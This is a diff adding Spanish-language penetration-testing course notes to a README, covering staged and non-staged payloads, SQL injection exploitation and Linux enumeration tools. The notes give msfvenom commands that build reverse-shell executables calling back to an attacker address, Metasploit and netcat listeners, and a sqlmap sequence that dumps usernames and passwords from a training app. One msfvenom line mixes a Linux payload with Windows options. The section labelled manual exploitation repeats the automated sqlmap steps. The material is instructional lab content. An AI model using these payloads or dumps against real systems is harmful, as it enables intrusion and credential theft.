wip

Introduccion-hacking-hack4u/tema_5_conceptos/README.md

@@ -61,16 +61,131 @@ Es importante entender las diferencias entre estas técnicas para poder determin
 
 ## 5.2 Tipos de payloads (Staged y Non-Staged)
 
-- Payload Staged: Es un tipo de payload que se divide en dos o más etapas. La primera etapa es una pequeña parte del código que se envía al objetivo, cuyo propósito es establecer una conexión segura entre el atacante y la máquina objetivo. Una vez que se establece la conexión, el atacante envía la segunda etapa del payload, que es la carga útil real del ataque. Este enfoque permite a los atacantes sortear medidas de seguridad adicionales, ya que la carga útil real no se envía hasta que se establece una conexión segura.
+- **Payload Staged**: Es un tipo de payload que se divide en dos o más etapas. La primera etapa es una pequeña parte del código que se envía al objetivo, cuyo propósito es establecer una conexión segura entre el atacante y la máquina objetivo. Una vez que se establece la conexión, el atacante envía la segunda etapa del payload, que es la carga útil real del ataque. Este enfoque permite a los atacantes sortear medidas de seguridad adicionales, ya que la carga útil real no se envía hasta que se establece una conexión segura.
-- Payload Non-Staged: Es un tipo de payload que se envía como una sola entidad y no se divide en múltiples etapas. La carga útil completa se envía al objetivo en un solo paquete y se ejecuta inmediatamente después de ser recibida. Este enfoque es más simple que el Payload Staged, pero también es más fácil de detectar por los sistemas de seguridad, ya que se envía todo el código malicioso de una sola vez.
+- **Payload Non-Staged**: Es un tipo de payload que se envía como una sola entidad y no se divide en múltiples etapas. La carga útil completa se envía al objetivo en un solo paquete y se ejecuta inmediatamente después de ser recibida. Este enfoque es más simple que el Payload Staged, pero también es más fácil de detectar por los sistemas de seguridad, ya que se envía todo el código malicioso de una sola vez.
 
 Es importante tener en cuenta que el tipo de payload utilizado en un ataque dependerá del objetivo y de las medidas de seguridad implementadas. En general, los payloads Staged son más difíciles de detectar y son preferidos por los atacantes, mientras que los payloads Non-Staged son más fáciles de implementar pero también son más fáciles de detectar.
 
+Ejercicio 1:
+
+- Vamos a crear un fichero malicioso que se ejecutará en el sistema objetivo como staged. Para ello, utilizaremos el siguiente comando:
+  ```bash
+  msfvenom -p linux/x64/meterpreter/reverse_tcp --platform windows -a x64 LHOST=192.168.1.40 LPORT=4646 -f exe -o reverse_shell_staged.exe
+  ```
+- Nos crea un ejecutable que enviaremos a la máquina objetivo.
+- Ahora ejecutamos metaexploit y arrancamos el listener:
+  ```bash
+  msfdb run
+  use exploit/multi/handler
+  set payload windows/x64/meterpreter/reverse_tcp
+  set LHOST
+  set LPORT
+  show options # Vemos las opciones disponibles. Más detalles con show advanced options
+  run
+  ```
+- Ahora, si ejecutamos el binario en la máquina objetivo, se establecerá una conexión con el atacante.
+
+Ejercicio 2:
+- Vamos a crear un fichero malicioso que se ejecutará en el sistema objetivo como non-staged. Para ello, utilizaremos el siguiente comando:
+  ```bash
+  msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.40 LPORT=4646 -f exe -o reverse_shell_nonstaged.exe
+  ```
+- El resto es como el primer ejercicio y no se nota diferencia pero por detrás el payload se enviará de manera distinta.
+- La conexión también se puede hacer por netcat, pero entonces no tendrás consola interactiva. Para tenerla un poco más interactiva hay que usar la aplicación rlwrap:
+  ```bash
+  rlwrap nc -nlvp 4646
+  ```
+- Pondrá el puerto en escucha y ejecutanto el binario en la máquina objetivo se establecerá la conexión.
+
+
 ## 5.3 Tipos de explotación (Manuales y Automatizadas)
 
 
+- Explotación Manual: Es un tipo de explotación que se realiza de manera manual y requiere que el atacante tenga un conocimiento profundo del sistema y sus vulnerabilidades. En este enfoque, el atacante utiliza herramientas y técnicas específicas para identificar y explotar vulnerabilidades en un sistema objetivo. Este enfoque es más lento y requiere más esfuerzo y habilidad por parte del atacante, pero también es más preciso y permite un mayor control sobre el proceso de explotación.
+- Explotación Automatizada: Es un tipo de explotación que se realiza automáticamente mediante el uso de herramientas automatizadas, como scripts o programas diseñados específicamente para identificar y explotar vulnerabilidades en un sistema objetivo. Este enfoque es más rápido y menos laborioso que el enfoque manual, pero también puede ser menos preciso y puede generar más ruido en la red objetivo, lo que aumenta el riesgo de detección.
+
+Es importante tener en cuenta que el tipo de explotación utilizado en un ataque dependerá de los objetivos del atacante, sus habilidades y del nivel de seguridad implementado en el sistema objetivo. En general, los ataques de explotación manual son más precisos y discretos, pero también requieren más tiempo y habilidades. Por otro lado, los ataques de explotación automatizada son más rápidos y menos laboriosos, pero también pueden ser más ruidosos y menos precisos.
+
+A continuación, se os proporciona el enlace del proyecto de Github que utilizamos para explicar ambos enfoques:
+
+- sqlinjection-training-app: https://github.com/appsecco/sqlinjection-training-app
+
+Vamos a realizar una explotación automatizada. Lo levantamos con docker:
+```bash
+docker run -d -p 8000:8000 appsecco/sqlinjection-training-app
+```
+
+Entrando en el navegador a `http://localhost:8000` podremos ver la aplicación web que contiene una vulnerabilidad de inyección SQL. Para explotarla de manera manual, podemos utilizar la herramienta sqlmap. Para ello, utilizamos la aplicación burpsuite para interceptar la petición y modificarla para que sea vulnerable a inyección SQL. Lo abrimos en segundo plano:
+```bash
+burpsuite &> /dev/null & disown
+```
+
+Guardamos la petición en un fichero llamado `login.txt` y lo ejecutamos con sqlmap:
+```bash
+sqlmap -r login.txt -p searchitem --batch 
+```
+
+Aquí comprobamos si es inyectable. Entonces dumpeamos las bases de datos:
+```bash
+sqlmap -r login.txt -p searchitem --batch --dbs
+```
+
+Ahora vemos las tablas:
+```bash
+sqlmap -r login.txt -p searchitem --batch -D sqlitraining --tables
+```
+
+Ahora vamos a ver las columnas de la tabla `users`:
+```bash
+sqlmap -r login.txt -p searchitem --batch -D sqlitraining -T users --columns
+```
+
+Y por último, vemos el contenido de la tabla `users`:
+```bash
+sqlmap -r login.txt -p searchitem --batch -D sqlitraining -T users -C username,password --dump
+```
+
+Ahora vamos a realizar una explotación manual. Para ello, vamos a utilizar la herramienta sqlmap. Lo primero que haremos será interceptar la petición con burpsuite y guardarla en un fichero llamado `login.txt`. A continuación, ejecutaremos sqlmap con el siguiente comando:
+```bash
+sqlmap -r login.txt -p searchitem --batch
+```
+
+Una vez que sqlmap haya identificado la vulnerabilidad, podemos utilizarlo para extraer información de la base de datos. Por ejemplo, podemos utilizar el siguiente comando para extraer las bases de datos:
+```bash
+sqlmap -r login.txt -p searchitem --batch --dbs
+```
+
+Una vez que tengamos las bases de datos, podemos utilizar sqlmap para extraer las tablas de una base de datos específica. Por ejemplo, podemos utilizar el siguiente comando para extraer las tablas de la base de datos `sqlitraining`:
+```bash
+sqlmap -r login.txt -p searchitem --batch -D sqlitraining --tables
+```
+
+Una vez que tengamos las tablas, podemos utilizar sqlmap para extraer las columnas de una tabla específica. Por ejemplo, podemos utilizar el siguiente comando para extraer las columnas de la tabla `users`:
+```bash
+sqlmap -r login.txt -p searchitem --batch -D sqlitraining -T users --columns
+```
+
+Por último, podemos utilizar sqlmap para extraer el contenido de una tabla específica. Por ejemplo, podemos utilizar el siguiente comando para extraer el contenido de la tabla `users`:
+```bash
+sqlmap -r login.txt -p searchitem --batch -D sqlitraining -T users -C username,password --dump
+```
+
+En resumen, la explotación manual requiere más tiempo y habilidades, pero también es más precisa y discreta. Por otro lado, la explotación automatizada es más rápida y menos laboriosa, pero también puede ser más ruidosa y menos precisa. En general, el tipo de explotación utilizado en un ataque dependerá de los objetivos del atacante, sus habilidades y del nivel de seguridad implementado en el sistema objetivo.
+
 ## 5.4 Enumeración del sistema
 
+Algunas de las herramientas que vemos en esta clase son:
+
+- LSE (Linux Smart Enumeration): Es una herramienta de enumeración para sistemas Linux que permite a los atacantes obtener información detallada sobre la configuración del sistema, los servicios en ejecución y los permisos de archivo. LSE utiliza una variedad de comandos de Linux para recopilar información y presentarla en un formato fácil de entender. Al utilizar LSE, los atacantes pueden detectar posibles vulnerabilidades y encontrar información valiosa para futuros ataques.
+- Pspy: Es una herramienta de enumeración de procesos que permite a los atacantes observar los procesos y comandos que se ejecutan en el sistema objetivo a intervalos regulares de tiempo. Pspy es una herramienta útil para la detección de malware y backdoors, así como para la identificación de procesos maliciosos que se ejecutan en segundo plano sin la interacción del usuario.
+
+Asimismo, desarrollaremos un script en Bash ideal para detectar tareas y comandos que se ejecutan en el sistema a intervalos regulares de tiempo, abusando para ello del comando ‘ps -eo user,command‘ que nos chivará todo lo que necesitamos.
+
+A continuación, se proporciona el enlace a estas herramientas:
+
+- Herramienta LSE: https://github.com/diego-treitos/linux-smart-enumeration
+- Herramienta PSPY: https://github.com/DominicBreuker/pspy
+
 
 ## 5.5 Introducción a BurpSuite